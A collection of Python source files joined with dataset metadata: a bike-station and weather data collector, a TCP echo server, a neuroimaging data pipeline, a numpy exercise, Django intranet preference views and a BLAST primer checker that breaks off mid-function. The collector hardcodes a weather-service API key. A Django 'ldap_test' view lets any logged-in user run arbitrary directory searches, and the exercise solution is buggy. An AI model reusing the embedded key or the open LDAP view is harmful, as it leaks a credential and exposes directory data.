blocks\r\niterator = 0\r\n# JCDecaux API request\r\nr = requests.get(STATIONS_URI, params={\"apiKey\": KEY, \"contract\": NAME})\r\nJSON(r.json())\r\n\r\n# Weather API data\r\nweatherNAME = \"7778677\"\r\nweatherKEY = \"b5082b06a1653481cc7a8a9a533aafc3\"\r\nweatherUNITS = \"metric\"\r\nweatherURI = \"https://api.openweathermap.org/data/2.5/weather?id={}&appid={}&units={}\".format(\r\n weatherNAME, weatherKEY, weatherUNITS)\r\n\r\n# Infinitely loop\r\nwhile True:\r\n try:\r\n # Weather API request\r\n r = requests.get(STATIONS_URI, params={\r\n \"apiKey\": KEY, \"contract\": NAME})\r\n JSON(r.json())\r\n # Map station values\r\n values = list(map(get_station, r.json()))\r\n\r\n # Weather type and temperature data structuring\r\n w = requests.get(weatherURI)\r\n data = json.loads(w.text)\r\n weather = data[\"weather\"][0][\"main\"]\r\n temp = data[\"main\"][\"temp\"]\r\n JSON(w.json())\r\n for value in values:\r\n value['Insert_ID'] = iterator\r\n value['weather'] = weather\r\n value['temp'] = temp\r\n\r\n # Execute database call\r\n ins = dynamicData.insert().values(values)\r\n conn.execute(ins)\r\n # Wait 5 minutes\r\n time.sleep(5*60)\r\n\r\n # Add 1 to index\r\n iterator += 1\r\n except Exception as e:\r\n iterator += 1\r\n time.sleep(5*60)\r\n","sub_path":"Data Gatherers/dynamicData_insert.py","file_name":"dynamicData_insert.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"642241592","text":"#!/usr/bin/env python\n\nfrom socket import *\nfrom time import ctime\n\nHOST='127.0.0.1'\nPORT=1024\nBUFFSIZE=512\nADDR=(HOST,PORT)\n\ntcpSerSock = socket(AF_INET,SOCK_STREAM)\ntcpSerSock.bind(ADDR)\ntcpSerSock.listen(5)\n\nwhile True:\n print('waiting for connection..')\n tcpCliSock, addr=tcpSerSock.accept()\n print('..connected from:', addr)\n\n while True:\n data = tcpCliSock.recv(BUFFSIZE).decode()\n print(\"recv data:\", data)\n if not data:\n break\n tcpCliSock.send(('[%s] %s' % (ctime(), data)).encode())\n\n tcpCliSock.close()\ntcpSerSock.close()\n","sub_path":"samples/tcp_server.py","file_name":"tcp_server.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"36440335","text":"import os\nfrom os.path import join\n\nimport numpy as np\nimport pandas as pd\nfrom numpy.linalg import pinv\nfrom sklearn.base import TransformerMixin\nfrom sklearn.externals.joblib import load\nfrom sklearn.model_selection import GroupShuffleSplit\nfrom sklearn.preprocessing import LabelBinarizer, StandardScaler, LabelEncoder\n\nidx = pd.IndexSlice\n\n\ndef get_output_dir(data_dir=None):\n \"\"\" Returns the directories in which cogspaces store results.\n\n Parameters\n ----------\n data_dir: string, optional\n Path of the data directory. Used to force data storage in a specified\n location. Default: None\n\n Returns\n -------\n paths: list of strings\n Paths of the dataset directories.\n\n Notes\n -----\n This function retrieves the datasets directories using the following\n priority :\n 1. the keyword argument data_dir\n 2. the global environment variable OUTPUT_COGSPACES_DIR\n 4. output/cogspaces in the user home folder\n \"\"\"\n\n # Check data_dir which force storage in a specific location\n if data_dir is not None:\n return data_dir\n else:\n # If data_dir has not been specified, then we crawl default locations\n output_dir = os.getenv('OUTPUT_COGSPACES_DIR')\n if output_dir is not None:\n return output_dir\n return os.path.expanduser('~/output/cogspaces')\n\n\ndef make_data_frame(datasets, source,\n reduced_dir=None, unmask_dir=None):\n \"\"\"Aggregate and curate reduced/non reduced datasets\"\"\"\n X = []\n keys = []\n for dataset in datasets:\n if source == 'unmasked':\n this_X = pd.read_pickle(join(unmask_dir, dataset, 'imgs.pkl'))\n else:\n this_X = pd.read_pickle(join(reduced_dir, source, dataset, 'Xt.pkl'))\n\n # Curation\n this_X = this_X.reset_index(level=['direction'], drop=True)\n if dataset == 'brainomics':\n this_X = this_X.drop(['effects_of_interest'], level='contrast')\n if dataset == 'brainpedia':\n contrasts = this_X.index.get_level_values('contrast').values\n indices = []\n for i, contrast in enumerate(contrasts):\n if contrast.endswith('baseline'):\n indices.append(i)\n this_X = this_X.iloc[indices]\n for i, (sub_dataset, this_sub_X) in \\\n enumerate(this_X.groupby(level='dataset')):\n if sub_dataset == 'ds102':\n continue\n this_sub_X = this_sub_X.loc[sub_dataset]\n X.append(this_sub_X.astype(np.float32))\n keys.append(sub_dataset)\n else:\n X.append(this_X)\n keys.append(dataset)\n X = pd.concat(X, keys=keys, names=['dataset'])\n X.sort_index(inplace=True)\n return X\n\n\ndef split_folds(X, test_size=0.2, train_size=None, random_state=None):\n X_train = []\n X_test = []\n datasets = X.index.get_level_values('dataset').unique().values\n if not isinstance(test_size, dict):\n test_size = {dataset: test_size for dataset in datasets}\n if not isinstance(train_size, dict):\n train_size = {dataset: train_size for dataset in datasets}\n\n for dataset, this_X in X.groupby(level='dataset'):\n subjects = this_X.index.get_level_values('subject').values\n if dataset in test_size:\n this_test_size = test_size[dataset]\n else:\n this_test_size = .5\n if dataset in train_size:\n this_train_size = train_size[dataset]\n else:\n this_train_size = .5\n cv = GroupShuffleSplit(n_splits=1,\n test_size=this_test_size,\n train_size=this_train_size,\n random_state=random_state)\n train, test = next(cv.split(this_X, groups=subjects))\n X_train.append(this_X.iloc[train])\n X_test.append(this_X.iloc[test])\n # WTF autocast in pandas\n X_train = pd.concat(X_train, axis=0).astype(np.float32)\n X_test = pd.concat(X_test, axis=0).astype(np.float32)\n X_train.sort_index(inplace=True)\n X_test.sort_index(inplace=True)\n return X_train, X_test\n\n\nclass MultiDatasetTransformer(TransformerMixin):\n \"\"\"Utility transformer\"\"\"\n def __init__(self, with_std=False, with_mean=True,\n per_dataset=True, integer_coding=False):\n self.with_std = with_std\n self.with_mean = with_mean\n self.per_dataset = per_dataset\n self.integer_coding = integer_coding\n\n def fit(self, df):\n self.lbins_ = {}\n if self.per_dataset:\n self.scs_ = {}\n else:\n self.sc_ = StandardScaler(with_std=self.with_std,\n with_mean=self.with_mean)\n self.sc_.fit(df.values)\n for dataset, sub_df in df.groupby(level='dataset'):\n if self.integer_coding:\n lbin = LabelEncoder()\n else:\n lbin = LabelBinarizer()\n this_y = sub_df.index.get_level_values('contrast')\n if self.per_dataset:\n sc = StandardScaler(with_std=self.with_std,\n with_mean=self.with_mean)\n sc.fit(sub_df.values)\n self.scs_[dataset] = sc\n lbin.fit(this_y)\n self.lbins_[dataset] = lbin\n return self\n\n def transform(self, df):\n X = []\n y = []\n if not self.per_dataset:\n df = df.copy()\n df[:] = self.sc_.transform(df.values)\n for dataset, sub_df in df.groupby(level='dataset'):\n lbin = self.lbins_[dataset]\n if self.per_dataset:\n sc = self.scs_[dataset]\n this_X = sc.transform(sub_df.values)\n else:\n this_X = sub_df.values\n this_y = sub_df.index.get_level_values('contrast')\n this_y = lbin.transform(this_y)\n if not self.integer_coding and this_y.shape[1] == 1:\n this_y = np.hstack([this_y, np.logical_not(this_y)])\n y.append(this_y)\n X.append(this_X)\n return tuple(X), tuple(y)\n\n def inverse_transform(self, df, ys):\n contrasts = []\n for (dataset, sub_df), this_y in zip(df.groupby(level='dataset'), ys):\n lbin = self.lbins_[dataset]\n these_contrasts = lbin.inverse_transform(this_y)\n these_contrasts = pd.Series(these_contrasts, index=sub_df.index)\n contrasts.append(these_contrasts)\n contrasts = pd.concat(contrasts, axis=0)\n return contrasts\n\n\ndef make_projection_matrix(bases, scale_bases=True):\n if not isinstance(bases, list):\n bases = [bases]\n proj = []\n rec = []\n for i, basis in enumerate(bases):\n if scale_bases:\n S = np.std(basis, axis=1)\n S[S == 0] = 1\n basis = basis / S[:, np.newaxis]\n proj.append(pinv(basis))\n rec.append(basis)\n proj = np.concatenate(proj, axis=1)\n rec = np.concatenate(rec, axis=0)\n proj_inv = np.linalg.inv(proj.T.dot(rec.T)).T.dot(rec)\n return proj, proj_inv, rec\n","sub_path":"cogspaces/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":7145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"89735677","text":"# %load q03_get_toss_win_count/build.py\n#Default Imports\nimport numpy as np\nipl_matches_array =np.genfromtxt('data/ipl_matches_small.csv', dtype='|S50', skip_header=1, delimiter=',')\n\n\n#Your Solution\ndef get_toss_win_count(team):\n toss_won = ipl_matches_array[:,5]\n toss_filter = toss_won==team\n return len(set(toss_filter))\n\n\n","sub_path":"q03_get_toss_win_count/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"191756102","text":"from urllib import request\nimport json\n\ndef convert(release):\n return {\n 'version': release['tag_name'][1:].replace('-M', '-rc').replace('-eap', '-pre'),\n 'stability': 'testing' if release['prerelease'] else 'stable',\n 'released': release['published_at'][0:10],\n 'download-url': release['assets'][0]['browser_download_url']\n }\n\ndata = request.urlopen('https://api.github.com/repos/JetBrains/kotlin/releases').read().decode('utf-8')\nreleases = [convert(release) for release in json.loads(data)]\n","sub_path":"java/kotlin.watch.py","file_name":"kotlin.watch.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"492452603","text":"\nimport numpy as np\nfrom scipy.io import wavfile\n\npath = '/home/mohsen/Desktop/family/FAEZEH-20200715-WA0000.wav'\nfrequency, signal = wavfile.read(path)\n\nslice_length = 4 # in seconds\noverlap = 1 # in seconds\nslices = np.arange(0, len(signal), slice_length-overlap, dtype=np.int)\n\nfor start, end in zip(slices[:-1], slices[1:]):\n start_audio = start * frequency\n end_audio = end * frequency\n audio_slice = signal[start_audio: end_audio]\n a=0","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525372315","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render\nfrom ..users.models import User\nfrom .forms import (\n PersonalInformationForm, PreferredPictureForm, PrivacyOptionsForm, NotificationOptionsForm\n)\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_personal_info(user):\n \"\"\"Get a user's personal info attributes to pass as an initial\n value to a PersonalInformationForm\n \"\"\"\n # number of additional phones (other_phones)\n num_phones = len(user.other_phones or [])\n num_emails = len(user.emails or [])\n num_webpages = len(user.webpages or [])\n\n personal_info = {\n \"mobile_phone\": user.mobile_phone,\n \"home_phone\": user.home_phone\n }\n\n for i in range(num_phones):\n personal_info[\"other_phone_{}\".format(i)] = user.other_phones[i]\n\n for i in range(num_emails):\n personal_info[\"email_{}\".format(i)] = user.emails[i]\n\n for i in range(num_webpages):\n personal_info[\"webpage_{}\".format(i)] = user.webpages[i]\n\n num_fields = {\n \"phones\": num_phones,\n \"emails\": num_emails,\n \"webpages\": num_webpages\n }\n\n return personal_info, num_fields\n\n\ndef save_personal_info(request, user):\n personal_info, _num_fields = get_personal_info(user)\n num_fields = {\n \"phones\": sum([1 if \"other_phone_\" in name else 0 for name in request.POST]),\n \"emails\": sum([1 if \"email_\" in name else 0 for name in request.POST]),\n \"webpages\": sum([1 if \"webpage_\" in name else 0 for name in request.POST])\n }\n logger.debug(num_fields)\n logger.debug(request.POST)\n personal_info_form = PersonalInformationForm(num_fields=num_fields, data=request.POST, initial=personal_info)\n logger.debug(personal_info_form)\n if personal_info_form.is_valid():\n logger.debug(\"Personal info: valid\")\n if personal_info_form.has_changed():\n fields = personal_info_form.cleaned_data\n logger.debug(fields)\n single_fields = [\"mobile_phone\", \"home_phone\"]\n multi_fields = {}\n multi_fields_to_update = []\n\n for field in fields:\n if field not in single_fields:\n full_field_arr = field.rsplit(\"_\", 1)\n full_field_name = full_field_arr[0]\n field_num = int(full_field_arr[1])\n\n if full_field_name in multi_fields:\n multi_fields[full_field_name][field_num] = fields[field]\n else:\n multi_fields[full_field_name] = {field_num: fields[field]}\n\n if field in personal_info and personal_info[field] == fields[field]:\n logger.debug(\"{}: same ({})\".format(field, fields[field]))\n else:\n logger.debug(\"{}: new: {} from: {}\".format(field,\n fields[field],\n personal_info[field] if field in personal_info else None))\n if field in single_fields:\n if len(fields[field]) < 1:\n logger.debug(\"Field {} with blank value becomes None\".format(field))\n fields[field] = None\n\n try:\n user.set_ldap_attribute(field, \"{}\".format(fields[field]))\n except Exception as e:\n messages.error(request, \"Field {} with value {}: {}\".format(field, fields[field], e))\n logger.debug(\"Field {} with value {}: {}\".format(field, fields[field], e))\n else:\n try:\n messages.success(request, \"Set field {} to {}\".format(field, fields[field] if not isinstance(fields[field], list) else \", \".join(fields[field])))\n except Exception as e:\n messages.error(request, \"Field {}: {}\".format(field, e))\n else:\n logger.debug(\"Need to update {} because {} changed\".format(full_field_name, field))\n multi_fields_to_update.append(full_field_name)\n\n logger.debug(multi_fields_to_update)\n for full_field in multi_fields_to_update:\n ldap_full_field = \"{}s\".format(full_field)\n field_vals = multi_fields[full_field].values()\n for v in field_vals:\n if not v:\n field_vals.remove(v)\n\n try:\n user.set_ldap_attribute(ldap_full_field, field_vals)\n except Exception as e:\n messages.error(request, \"Field {} with value {}: {}\".format(ldap_full_field, field_vals, e))\n logger.debug(\"Field {} with value {}: {}\".format(ldap_full_field, field_vals, e))\n else:\n messages.success(request, \"Set field {} to {}\".format(ldap_full_field, field_vals if not isinstance(field_vals, list) else \", \".join(field_vals)))\n return personal_info_form\n\n\ndef get_preferred_pic(user):\n \"\"\"Get a user's preferred picture attributes to pass as an initial\n value to a PreferredPictureForm.\n \"\"\"\n\n preferred_pic = {\n \"preferred_photo\": user.preferred_photo\n }\n\n return preferred_pic\n\n\ndef save_preferred_pic(request, user):\n preferred_pic = get_preferred_pic(user)\n logger.debug(preferred_pic)\n preferred_pic_form = PreferredPictureForm(user, data=request.POST, initial=preferred_pic)\n if preferred_pic_form.is_valid():\n logger.debug(\"Preferred pic form: valid\")\n if preferred_pic_form.has_changed():\n fields = preferred_pic_form.cleaned_data\n logger.debug(fields)\n for field in fields:\n if field == \"preferred_photo\":\n if preferred_pic[field] == fields[field]:\n logger.debug(\"{}: same ({})\".format(field, fields[field]))\n else:\n logger.debug(\"{}: new: {} from: {}\".format(field,\n fields[field],\n preferred_pic[field] if field in preferred_pic else None))\n try:\n user.set_ldap_attribute(field, fields[field])\n except Exception as e:\n messages.error(request, \"Field {} with value {}: {}\".format(field, fields[field], e))\n logger.debug(\"Field {} with value {}: {}\".format(field, fields[field], e))\n else:\n messages.success(request, \"Set field {} to {}\".format(field, fields[field] if not isinstance(fields[field], list) else \", \".join(fields[field])))\n return preferred_pic_form\n\n\ndef get_privacy_options(user):\n \"\"\"Get a user's privacy options to pass as an initial value to\n a PrivacyOptionsForm.\n \"\"\"\n\n privacy_options = {}\n\n for ptype in user.permissions:\n for field in user.permissions[ptype]:\n if ptype == \"self\":\n privacy_options[\"{}-{}\".format(field, ptype)] = user.permissions[ptype][field]\n else:\n privacy_options[field] = user.permissions[ptype][field]\n\n for field in user.photo_permissions[\"self\"]:\n if field != \"default\": # photo_permissions[\"default\"] is the same as show on import\n privacy_options[\"photoperm-{}\".format(field)] = user.photo_permissions[\"parent\"]\n privacy_options[\"photoperm-{}-{}\".format(field, \"self\")] = user.photo_permissions[\"self\"][field]\n\n return privacy_options\n\n\ndef save_privacy_options(request, user):\n privacy_options = get_privacy_options(user)\n logger.debug(privacy_options)\n privacy_options_form = PrivacyOptionsForm(user, data=request.POST, initial=privacy_options)\n if privacy_options_form.is_valid():\n logger.debug(\"Privacy options form: valid\")\n if privacy_options_form.has_changed():\n fields = privacy_options_form.cleaned_data\n logger.debug(fields)\n for field in fields:\n if field in privacy_options and privacy_options[field] == fields[field]:\n logger.debug(\"{}: same ({})\".format(field, fields[field]))\n else:\n logger.debug(\"{}: new: {} from: {}\".format(field,\n fields[field],\n privacy_options[field] if field in privacy_options else None))\n try:\n user.set_ldap_attribute(field, fields[field], request.user.is_eighth_admin)\n except Exception as e:\n messages.error(request, \"Field {} with value {}: {}\".format(field, fields[field], e))\n logger.debug(\"Field {} with value {}: {}\".format(field, fields[field], e))\n else:\n messages.success(request, \"Set field {} to {}\".format(field, fields[field] if not isinstance(fields[field], list) else \", \".join(fields[field])))\n return privacy_options_form\n\n\ndef get_notification_options(user):\n \"\"\"Get a user's notification options to pass as an initial value to\n a NotificationOptionsForm.\n \"\"\"\n\n notification_options = {}\n notification_options[\"receive_news_emails\"] = user.receive_news_emails\n notification_options[\"receive_eighth_emails\"] = user.receive_eighth_emails\n\n return notification_options\n\n\ndef save_notification_options(request, user):\n notification_options = get_notification_options(user)\n logger.debug(notification_options)\n notification_options_form = NotificationOptionsForm(user, data=request.POST, initial=notification_options)\n if notification_options_form.is_valid():\n logger.debug(\"Notification options form: valid\")\n if notification_options_form.has_changed():\n fields = notification_options_form.cleaned_data\n logger.debug(fields)\n for field in fields:\n if field in notification_options and notification_options[field] == fields[field]:\n logger.debug(\"{}: same ({})\".format(field, fields[field]))\n else:\n logger.debug(\"{}: new: {} from: {}\".format(field,\n fields[field],\n notification_options[field] if field in notification_options else None))\n setattr(user, field, fields[field])\n user.save()\n try:\n messages.success(request, \"Set field {} to {}\".format(field, fields[field] if not isinstance(fields[field], list) else \", \".join(fields[field])))\n except TypeError:\n pass\n return notification_options_form\n\n\ndef save_gcm_options(request, user):\n if request.user.notificationconfig and request.user.notificationconfig.android_gcm_token:\n receive = (\"receive_push_notifications\" in request.POST)\n if receive:\n nc = user.notificationconfig\n if nc.android_gcm_optout is True:\n nc.android_gcm_optout = False\n nc.save()\n messages.success(request, \"Enabled Android push notifications\")\n else:\n nc = user.notificationconfig\n if nc.android_gcm_optout is False:\n nc.android_gcm_optout = True\n nc.save()\n messages.success(request, \"Disabled Android push notifications\")\n\n\n@login_required\ndef preferences_view(request):\n \"\"\"View and process updates to the preferences page.\n \"\"\"\n user = request.user\n\n # Clear cache on every pageload\n user.clear_cache()\n\n if request.method == \"POST\":\n\n personal_info_form = save_personal_info(request, user)\n if user.is_student:\n preferred_pic_form = save_preferred_pic(request, user)\n else:\n preferred_pic_form = None\n privacy_options_form = save_privacy_options(request, user)\n notification_options_form = save_notification_options(request, user)\n\n try:\n save_gcm_options(request, user)\n except AttributeError:\n pass\n\n else:\n personal_info, num_fields = get_personal_info(user)\n logger.debug(personal_info)\n personal_info_form = PersonalInformationForm(num_fields=num_fields,\n initial=personal_info)\n\n if user.is_student:\n preferred_pic = get_preferred_pic(user)\n logger.debug(preferred_pic)\n preferred_pic_form = PreferredPictureForm(user, initial=preferred_pic)\n else:\n preferred_pic = None\n preferred_pic_form = None\n\n privacy_options = get_privacy_options(user)\n logger.debug(privacy_options)\n privacy_options_form = PrivacyOptionsForm(user, initial=privacy_options)\n\n notification_options = get_notification_options(user)\n logger.debug(notification_options)\n notification_options_form = NotificationOptionsForm(user, initial=notification_options)\n\n context = {\n \"personal_info_form\": personal_info_form,\n \"preferred_pic_form\": preferred_pic_form,\n \"privacy_options_form\": privacy_options_form,\n \"notification_options_form\": notification_options_form\n }\n return render(request, \"preferences/preferences.html\", context)\n\n\n@login_required\ndef privacy_options_view(request):\n \"\"\"View and edit privacy options for a user.\n \"\"\"\n if \"user\" in request.GET:\n user = User.objects.get(id=request.GET.get(\"user\"))\n elif \"student_id\" in request.GET:\n user = User.objects.user_with_student_id(request.GET.get(\"student_id\"))\n else:\n user = request.user\n\n if not user:\n messages.error(request, \"Invalid user.\")\n user = request.user\n\n if request.method == \"POST\":\n privacy_options_form = save_privacy_options(request, user)\n else:\n privacy_options = get_privacy_options(user)\n privacy_options_form = PrivacyOptionsForm(user, initial=privacy_options)\n\n context = {\n \"privacy_options_form\": privacy_options_form,\n \"profile_user\": user\n }\n return render(request, \"preferences/privacy_options.html\", context)\n\n\n@login_required\ndef ldap_test(request):\n from intranet.db.ldap_db import LDAPConnection\n from intranet import settings\n\n c = LDAPConnection()\n\n results = \"\"\n\n search_dn = request.POST.get(\"search_dn\")\n search_q = request.POST.get(\"search_q\")\n search_attrs = request.POST.getlist(\"search_attrs\")\n\n user_attribute_dn = request.POST.get(\"user_attribute_dn\")\n user_attribute_attrs = request.POST.getlist(\"user_attribute_attrs\")\n if request.method == \"POST\":\n if \"search_q\" in request.POST:\n try:\n req = c.search(search_dn, search_q, search_attrs)\n except Exception as e:\n results += \"EXCEPTION: {}\\n\".format(e)\n else:\n logger.debug(req)\n if not isinstance(req, list):\n req = [req]\n for row in req:\n results += \"{}: \\n\".format(row[0])\n for perm, value in row[1].iteritems():\n results += \"\\t{}: {}\\n\".format(perm, value)\n\n if \"user_attribute_dn\" in request.POST:\n if \"dc=edu\" not in user_attribute_dn:\n user_attribute_dn = User.objects.get(id=user_attribute_dn).dn\n try:\n req = c.user_attributes(user_attribute_dn, user_attribute_attrs)\n except Exception as e:\n results += \"EXCEPTION: {}\\n\".format(e)\n else:\n logger.debug(req)\n result = req.first_result()\n logger.debug(result)\n if isinstance(result, dict):\n for perm, value in result.iteritems():\n logger.debug(\"{} {}\".format(perm, value))\n results += \"{}: {}\\n\".format(perm, value)\n else:\n results += \"Empty result\"\n\n logger.debug(results)\n\n context = {\n \"search_dn\": search_dn or settings.USER_DN or \"\",\n \"search_q\": search_q or \"\",\n \"search_attrs\": search_attrs or \"\",\n \"user_attribute_dn\": user_attribute_dn or \"\",\n \"user_attribute_attrs\": user_attribute_attrs or \"\",\n \"results\": results\n }\n\n return render(request, \"preferences/ldap.html\", context)\n","sub_path":"intranet/apps/preferences/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"213732232","text":"# -*- coding: utf-8 -*-\n\nimport sys\n#import os\nimport errno\nimport re\nfrom pathlib import Path\n\nimport logging\nlog = logging.getLogger(__name__)\n\n# global configuration\nimport vprimer.glv as glv\nimport vprimer.utils as utl\n\nimport subprocess as sbp\nimport pandas as pd\n\nclass Blast(object):\n\n def __init__(self):\n pass\n\n @classmethod\n def primer_blast_check(cls,\n left_fasta_id, right_fasta_id,\n left_primer_seq, right_primer_seq):\n\n fasta_list = [\">{}\".format(left_fasta_id)]\n fasta_list += [\"{}\".format(left_primer_seq)]\n fasta_list += [\">{}\".format(right_fasta_id)]\n fasta_list += [\"{}\".format(right_primer_seq)]\n\n primer_fasta = '\\n'.join(fasta_list)\n\n blast_check_result_list = cls._do_blastn_pipe(primer_fasta)\n return blast_check_result_list\n\n @classmethod\n def _do_blastn_pipe(cls, primer_fasta):\n\n # https://www.haya-programming.com/entry/2018/03/25/214957\n blastn_short = ['blastn']\n blastn_short += ['-db']\n blastn_short += [\"{}\".format(glv.conf.blastdb_path)]\n blastn_short += ['-num_threads']\n blastn_short += [\"{}\".format(glv.conf.blast_num_threads)]\n blastn_short += ['-word_size']\n blastn_short += [\"{}\".format(glv.conf.blast_word_size)]\n blastn_short += ['-ungapped']\n blastn_short += ['-task']\n blastn_short += ['blastn-short']\n\n blastn_short += ['-outfmt']\n outfmt = '6 qseqid sseqid qlen pident length mismatch'\n outfmt += ' gapopen qstart qend sstart send evalue sstrand'\n blastn_short += [outfmt]\n\n blastn_short_p = sbp.Popen(\n blastn_short,\n stdin=sbp.PIPE,\n stdout=sbp.PIPE)\n\n # https://minus9d.hatenablog.com/entry/2021/06/08/220614\n # res = subprocess.run(['python3', 'hello.py'],\n # capture_output=True, text=True)\n\n blastn_out = blastn_short_p.communicate(\n primer_fasta.encode())[0].decode()\n\n blast_check_result_list = cls._check_blast_alignment(blastn_out)\n\n return blast_check_result_list\n\n\n @classmethod\n def _check_blast_alignment(cls, blastn_out):\n\n blast_check_result_list = list()\n #print(\"{}\".format(blastn_out))\n\n check_dict = dict()\n\n# 0 qseqid # 1 sseqid # 2 qlen # 3 pident # 4 length # 5 mismatch\n# 6 gapopen # 7 qstart # 8 qend # 9 sstart # 10 send\n# 11 evalue # 12 sstrand\n\n for row in blastn_out.split('\\n'):\n\n if row == '':\n continue\n\n item = row.split('\\t')\n\n #log.debug(\"\")\n #log.debug(\"start row {}\".format(row))\n\n query_id, primer_chrom, primer_abs_stt_pos, \\\n primer_abs_end_pos, primer_strand, \\\n subject_id, query_length, alignment_length, \\\n mismatches, gap_opens, \\\n subject_abs_stt_pos, subject_abs_end_pos, \\\n subject_strand = \\\n cls._get_align_info(item)\n\n #log.debug(\"query_length={}, alignment_length={}\".format(\n # query_length, alignment_length))\n #log.debug(\"mismatches={}, gap_opens={}\".format(\n # mismatches, gap_opens))\n\n if query_length != alignment_length or \\\n mismatches != 0 or gap_opens != 0:\n #log.debug(\"found mismatch continue\")\n #log.debug(\"\")\n continue\n\n #else:\n # log.debug(\"not found mismatch continue\")\n # log.debug(\"\")\n\n # check own alignment\n if cls._check_own_alignment(\n primer_chrom,\n primer_abs_stt_pos, primer_abs_end_pos,\n primer_strand,\n subject_id,\n subject_abs_stt_pos, subject_abs_end_pos, \\\n subject_strand) == True:\n continue\n\n # 辞書を作成する\n align_info = \"{}:{}:{}\".format(\n subject_abs_stt_pos, subject_abs_end_pos, subject_strand)\n\n #log.debug(\"align_info {}\".format(align_info))\n\n # キーが存在しない場合は、\n if not subject_id in check_dict:\n check_dict[subject_id] = dict()\n check_dict[subject_id]['plus'] = list()\n check_dict[subject_id]['minus'] = list()\n\n check_dict[subject_id][primer_strand].append(align_info)\n #log.debug(\"check_dict {}\".format(check_dict))\n\n # primerのdistanceを確認する\n blast_check_result_list = cls._primer_distance_check(check_dict)\n #log.debug(\"distance_result {}\".format(blast_check_result_list))\n\n return blast_check_result_list\n\n @classmethod\n def _check_own_alignment(\n cls, primer_chrom,\n primer_abs_stt_pos, primer_abs_end_pos,\n primer_strand,\n subject_id,\n subject_abs_stt_pos, subject_abs_end_pos,\n subject_strand):\n\n own = False\n\n check_stt = primer_abs_stt_pos\n check_end = primer_abs_end_pos\n\n #log.debug(\"{} {}\".format(primer_strand, subject_strand))\n\n if primer_strand != subject_strand:\n check_stt = primer_abs_end_pos\n check_end = primer_abs_stt_pos\n\n if primer_chrom == subject_id and \\\n check_stt == subject_abs_stt_pos and \\\n check_end == subject_abs_end_pos:\n\n #log.debug(\"Me next {} q {} == s {} and q {} == s {}\".format(\n # primer_chrom,\n # check_stt, subject_abs_stt_pos,\n # check_end, subject_abs_end_pos))\n own = True\n\n #else:\n # log.debug(\"NotMe {} q {} == {} s {} and q {} == s {}\".format(\n # primer_chrom,\n # check_stt,\n # subject_id,\n # subject_abs_stt_pos,\n # check_end, subject_abs_end_pos))\n\n return own\n\n\n @classmethod\n def _get_align_info(cls, item):\n\n query_id = str(item[0])\n\n primer_chrom, primer_abs_stt_pos, \\\n primer_abs_end_pos, primer_strand = \\\n cls._separate_primer_name(query_id)\n\n subject_id = str(item[1])\n query_length = int(item[2])\n alignment_length = int(item[4])\n mismatches = int(item[5])\n gap_opens = int(item[6])\n s_stt = int(item[9])\n s_end = int(item[10])\n subject_strand = str(item[12])\n\n # chrom:small-big:strand small always small < big\n subject_abs_stt_pos = s_stt\n subject_abs_end_pos = s_end\n if subject_strand == 'minus':\n subject_abs_stt_pos = s_end\n subject_abs_end_pos = s_stt\n\n return \\\n query_id, primer_chrom, primer_abs_stt_pos, \\\n primer_abs_end_pos, primer_strand, \\\n subject_id, query_length, alignment_length, \\\n mismatches, gap_opens, \\\n subject_abs_stt_pos, subject_abs_end_pos, \\\n subject_strand\n\n\n @classmethod\n def _primer_distance_check(cls, check_dict):\n\n #log.debug(\"{}\".format(check_dict))\n\n # 指定の距離\n blast_distance = glv.conf.blast_distance\n\n blast_check_result_list = list()\n # {\n # 'NC_028450.1':\n # {\n # 'plus':\n # [\n # '9985:10009:plus',\n # '32680:32704:plus',\n # '56651:56675:plus',\n # '3033129:3033153:plus',\n # '3055745:3055769:plus',\n # '3067736:3067760:plus',\n # '3079717:3079741:plus'\n # ],\n # 'minus':\n # [\n # '10365:10341:minus',\n # '33060:33036:minus',\n # '45056:45032:minus',\n # '57031:57007:minus',\n # '3033509:3033485:minus',\n # '3056125:3056101:minus',\n # '3068116:3068092:minus',\n # '3080097:3080073:minus'\n # ]\n # }\n # }\n\n # contigごとにplusのリスト���方向と向かい合うminusのリストを調べて、\n # 距離を測り適用になる場合にリストに入れる。\n for contig in check_dict:\n #log.debug(\"(1) {}\".format(contig))\n\n for plus_primer in check_dict[contig]['plus']:\n #log.debug(\"{}\".format(plus_primer))\n p_stt, p_end, p_strand = plus_primer.split(':')\n p_stt = int(p_stt)\n p_end = int(p_end)\n\n #log.debug(\"(2) \\t{} p_stt={} p_end={} p_strand={}\".format(\n # plus_primer, p_stt, p_end, p_strand))\n\n for minus_primer in check_dict[contig]['minus']:\n #log.debug(\"\\t{}\".format(minus_primer))\n m_stt, m_end, m_strand = minus_primer.split(':')\n m_stt = int(m_stt)\n m_end = int(m_end)\n #log.debug(\n # \"(3) \\t\\t{} m_stt={} m_end={} m_strand={}\".format(\n # minus_primer, m_stt, m_end, m_strand))\n\n if p_strand != m_strand:\n # 逆である。\n # 向かい合っているかどうか\n #log.debug(\"(4) \\t\\t\\t{} not {} p={} m={}\".format(\n # p_strand, m_strand, plus_primer, minus_primer))\n # (4) plus not minus p=9985:10009:plus\n # m=10365:10341:minus\n\n dist_start = 0\n dist_end = blast_distance + 1\n\n if p_strand == 'plus':\n\n # p=p\n # p_end| |m_stt\n # +++++++++> <--------- ok\n if p_end < m_stt:\n # 